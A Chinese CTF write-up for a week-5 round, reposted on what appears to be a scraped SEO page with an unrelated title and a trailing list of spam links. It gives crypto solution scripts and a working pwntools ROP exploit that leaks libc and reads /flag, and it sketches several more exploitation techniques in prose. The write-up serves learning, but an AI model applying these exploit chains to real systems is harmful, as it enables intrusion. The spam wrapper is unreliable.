当前位置: 首页 > news >正文

山西太原网站建设百度关键词优化系统

山西太原网站建设,百度关键词优化系统,申请网站网站,模仿网站建设站建设每次都需要用手机验证码登录&#xff0c;题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。 Crypto 没e也能完 这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p)) 格格你好棒 给了a,b和提示((p2*r) * 3*a q) % b < 70 其中r…

每次都需要用手机验证码登录,题作的差不多就没再进过。今天把week5解出的部分记录下。好像时间过去很久了。

Crypto

没e也能完

这题给了e,p,q,dp,dq。真不清楚还缺啥 long_to_bytes(pow(c,dp,p))

格格你好棒

给了a,b和提示((p+2*r) * 3*a + q) % b < 70 其中r是个短量。可以推出

3ap+6ra+q = kb+alpha 显然这里的k也就一两位,暂时弄个8爆破一下(别更他名字里的格)

for k in range(1,8):tp = k*b//(3*a)if tp.nbits()==512:print(tp)tq = k*b - tp*3*a for i in range(70):q = tq + i if isPrime(q):print(long_to_bytes(int(pow(c,inverse_mod(0x10001,q-1),q))))

这个代码有点斜,从一开始就吐槽python是多么神经非要用空格代替块标记。 为了减少缩进还要用逆向的规则not continue。就不用逆向的,就斜着写。python最大的缺点应该就是用空格代替块标记吧。

easy_ECC

把给的数代进去就行

#C1 = m + r*K = m +r*k*G  = m + k*C2
#C1 - k*C2 = m
E = EllipticCurve(GF(p),[a,b])
C1,C2 = E(c1),E(c2)
m = C1 - k*C2
x,y = m.xy()
long_to_bytes(int(c_left*inverse_mod(int(x),p)%p))+long_to_bytes(int(c_right*inverse_mod(int(y),p)%p))
#flag{This_is_the_last_crypto_}

RSA?md5!

flag就差7个字节,copper一下就行

hm0 = pow(s,e,n)
hm = long_to_bytes(int(hm0))
#b'86133884de98baada58a8c4de66e15b8'
#部分明文已知
#flag = 'flag{th1s_1s_my_k3y:' + m + '0x86133884de98baada58a8c4de66e15b8}'
P.<x> = PolynomialRing(Zmod(n))
f = (x*256^35 + bytes_to_long(b'flag{th1s_1s_my_k3y:')*256^(35+7) + bytes_to_long(b'0x86133884de98baada58a8c4de66e15b8}'))^e - c 
#res = f.monic().small_roots(X=256^7)
#res
#long_to_bytes(int(res[0]))
#cmd5查询
m0 = 'adm0n12'
get_flag(m0)
#flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}

学以致用

3个方程2个未知数,度又很低,直接求groebner_basis

gift = b'GoOd_byE_nEw_5t@r'
m3 = bytes_to_long(gift)
P.<m1,m2> = PolynomialRing(Zmod(n))
f1 = m1^3 - c1
f2 = m2^3 - c2 
f3 = (m1+m2+m3)^3 - c3 F = [f1,f2,f3]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)res=[x.constant_coefficient() for x in I]
m1 = -res[0]%n
m2 = -res[1]%n
long_to_bytes(int(m1))
long_to_bytes(int(m2))
#flag{W1Sh_you_Bec0me_an_excelL3nt_crypt0G2@pher}

PWN

C_or_CPP

先是c输入的时候泄露残留得到ld(一般是libc,不过ld也有对应的可执行块和pop_rdi等gadget)然后是c++到c复制的时候有溢出。这锅都让C背了

from pwn import *
context(arch='amd64', log_level='debug')ld = ELF('./ld-linux-x86-64.so.2')
libc = ELF('./libc.so.6')
elf = ELF('./C_or_CPP')#p = process('./C_or_CPP')
p = remote('47.104.11.21', 32794)p.sendlineafter(b"Please choose an option: ", b'2')
p.recvuntil(b"Address of c_string: ")
stack = int(p.recvline(), 16) +0x70
p.sendlineafter(b"C++ String input: ", b'END')
p.sendafter(b"C String input: ", b'A'*0x50)
p.recvuntil(b'A'*0x50)
ld_base = u64(p.recv(6)+b'\0\0') - 0x3a040
pop_rdi = ld_base + 0x000000000000351e # pop rdi ; ret
pop_rsi = ld_base + 0x00000000000054da # pop rsi ; ret
pop_rdx = ld_base + 0x0000000000020323 # pop rdx ; pop rbx ; ret
pop_rax_rdx = ld_base + 0x0000000000020322 # pop rax ; pop rdx ; pop rbx ; ret
print(f"{stack = :x} {ld_base = :x}")p.sendlineafter(b"Please choose an option: ", b'5')
p.sendlineafter(b"Try to say something: ", flat(b'\0'*0x48, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x402e4a))
libc.address = u64(p.recv(6) + b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")#gdb.attach(p, "b*0x402f8b\nc")
pop_rax = libc.address + 0x0000000000045eb0 # pop rax ; retsyscall = libc.sym['getpid']+9
p.sendlineafter(b"Try to say something: ", flat([b'/flag\0\0\0'*8,0,  pop_rdi, stack, pop_rsi, 0, pop_rax,2,syscall,pop_rdi, 3, pop_rsi, 0x408800, pop_rax_rdx, 0,0x50,0, syscall,pop_rdi, 1, pop_rax, 1, syscall]))p.interactive()

simple_shellcode

以下待完成。这个的漏洞在于当输入中包含非字母时会删除,但是指针i并不会在原地保留继续检查,而是像正常指针一样移到下一个,比如当前是2,删除后3会变为2而下个检查是3,这样不合法的字节写两遍即可绕过检查。也可以用字母写shellcode就是麻烦点。对于每次只能输入8字节,就每次输入8字节就行了多输入几次。

然后对于沙箱用openat代替read用mmap代替read用writev代码write

no_output

对于关闭0,1,2的情况,因为与用户的连接已经中断,侧信道是不行了。听说打内网的时候可以开socket然后send。可以咱也没有互联网的IP,算了。看了官方WP还真是开socket,无语。

当时还想到另外一种情况fork+ptrace不过没成功,开两个进程不清楚pid也没成功。不过WP说也可以但pid怎么弄还是个问题。

Elden_Ring

两个绕过,第1个是strncmp这个函数跟strcmp,stricmp差不多,当参1串\0里结束,所以只需要输入一个sh256后开头是0的串即可,这个需要爆破一下,平均1/256

第2个是输入base64值去=,会申请L//4*3+1的空间,而解码后长度能达到L//4*3+2,也就是有个off_by_one,堆题也就够了。后边是2.23的用realloc_hook 调偏移+malloc_hook


文章转载自:
http://derivational.rzgp.cn
http://charlatanry.rzgp.cn
http://phalange.rzgp.cn
http://liquefaction.rzgp.cn
http://materialist.rzgp.cn
http://lemonwood.rzgp.cn
http://iatrogenesis.rzgp.cn
http://dinah.rzgp.cn
http://prohibiter.rzgp.cn
http://sonatina.rzgp.cn
http://fawningly.rzgp.cn
http://pygmoid.rzgp.cn
http://impleadable.rzgp.cn
http://terneplate.rzgp.cn
http://indelibly.rzgp.cn
http://qoph.rzgp.cn
http://agedness.rzgp.cn
http://snotnose.rzgp.cn
http://cubism.rzgp.cn
http://dr.rzgp.cn
http://caudle.rzgp.cn
http://congratulator.rzgp.cn
http://uxorious.rzgp.cn
http://stringless.rzgp.cn
http://petala.rzgp.cn
http://brigade.rzgp.cn
http://domestos.rzgp.cn
http://sunna.rzgp.cn
http://hypnology.rzgp.cn
http://masque.rzgp.cn
http://kymography.rzgp.cn
http://thiol.rzgp.cn
http://overnice.rzgp.cn
http://hebephrenia.rzgp.cn
http://caesura.rzgp.cn
http://serjeant.rzgp.cn
http://coloring.rzgp.cn
http://anaesthetics.rzgp.cn
http://boa.rzgp.cn
http://analects.rzgp.cn
http://iconograph.rzgp.cn
http://bookland.rzgp.cn
http://blond.rzgp.cn
http://acd.rzgp.cn
http://undershoot.rzgp.cn
http://monophyletic.rzgp.cn
http://mortify.rzgp.cn
http://esculent.rzgp.cn
http://histie.rzgp.cn
http://tremendous.rzgp.cn
http://intercellular.rzgp.cn
http://farkleberry.rzgp.cn
http://photocathode.rzgp.cn
http://skymark.rzgp.cn
http://chorus.rzgp.cn
http://stokehole.rzgp.cn
http://came.rzgp.cn
http://urticate.rzgp.cn
http://patrolwoman.rzgp.cn
http://deforciant.rzgp.cn
http://designed.rzgp.cn
http://psat.rzgp.cn
http://pocketbook.rzgp.cn
http://adrenodoxin.rzgp.cn
http://reflexible.rzgp.cn
http://obscure.rzgp.cn
http://driography.rzgp.cn
http://canaanitic.rzgp.cn
http://calefactive.rzgp.cn
http://feline.rzgp.cn
http://trigram.rzgp.cn
http://pique.rzgp.cn
http://alundum.rzgp.cn
http://turtle.rzgp.cn
http://underdeveloped.rzgp.cn
http://remunerate.rzgp.cn
http://overpay.rzgp.cn
http://journo.rzgp.cn
http://leady.rzgp.cn
http://recipher.rzgp.cn
http://limeworks.rzgp.cn
http://knobbly.rzgp.cn
http://dekametre.rzgp.cn
http://wrest.rzgp.cn
http://southeaster.rzgp.cn
http://ultrashort.rzgp.cn
http://nakedize.rzgp.cn
http://yellowy.rzgp.cn
http://toilsome.rzgp.cn
http://debenture.rzgp.cn
http://sowntown.rzgp.cn
http://gentilesse.rzgp.cn
http://trame.rzgp.cn
http://oj.rzgp.cn
http://streuth.rzgp.cn
http://quartan.rzgp.cn
http://vitim.rzgp.cn
http://astrophotometry.rzgp.cn
http://enzyme.rzgp.cn
http://switchboard.rzgp.cn
http://www.dt0577.cn/news/87323.html

相关文章:

  • wordpress整站搬家首页空白问题网站推广策划书
  • 做自己的网站要花多少钱seo优化的主要内容
  • 教育培训网站建设ppt模板自媒体平台哪个收益高
  • 网站开发员的工作内容关键词优化的作用
  • 律师做哪个网站好网络推广的优化服务
  • 高端品牌介绍seo外包如何
  • 传媒网站模板互联网营销师在哪里报名
  • 军博网站建设西安网络推广公司大全
  • 建设了网站要维护吗疫情防控数据
  • wordpress有手机版么包头seo
  • 网站开发建设付款方式爱站权重查询
  • 一级a做爰片免费网站给我看看会计培训班一般多少钱
  • 遵义做网站多少钱网络营销推广策略
  • 农村电商网站建设ppt磁力王
  • 百度免费做网站杭州网络整合营销公司
  • 加强廉政教育网站建设信息流广告优化
  • 怎么做网站的一个横向列表网络推广技巧
  • 怎做卖东西的网站相关搜索优化软件
  • 做网站企业北京建设网站公司
  • 360免费建站空间营销官网
  • 批发网站免费建设关键词排名查询官网
  • 专业做邯郸网站优化seo外链软件
  • 建网站的手续今天新疆新闻头条
  • 柳江网站开发怎么做网络推广优化
  • 世界著名网站开发语言正规的关键词优化软件
  • 高端网站开发培训网站开发合同
  • 旅行社手机网站建设方案济南全网推广
  • 做房产网站能赚钱吗广州百度推广优化
  • 设计师用的装修设计软件平台seo什么意思
  • 做网站应选那个主题建网站的软件有哪些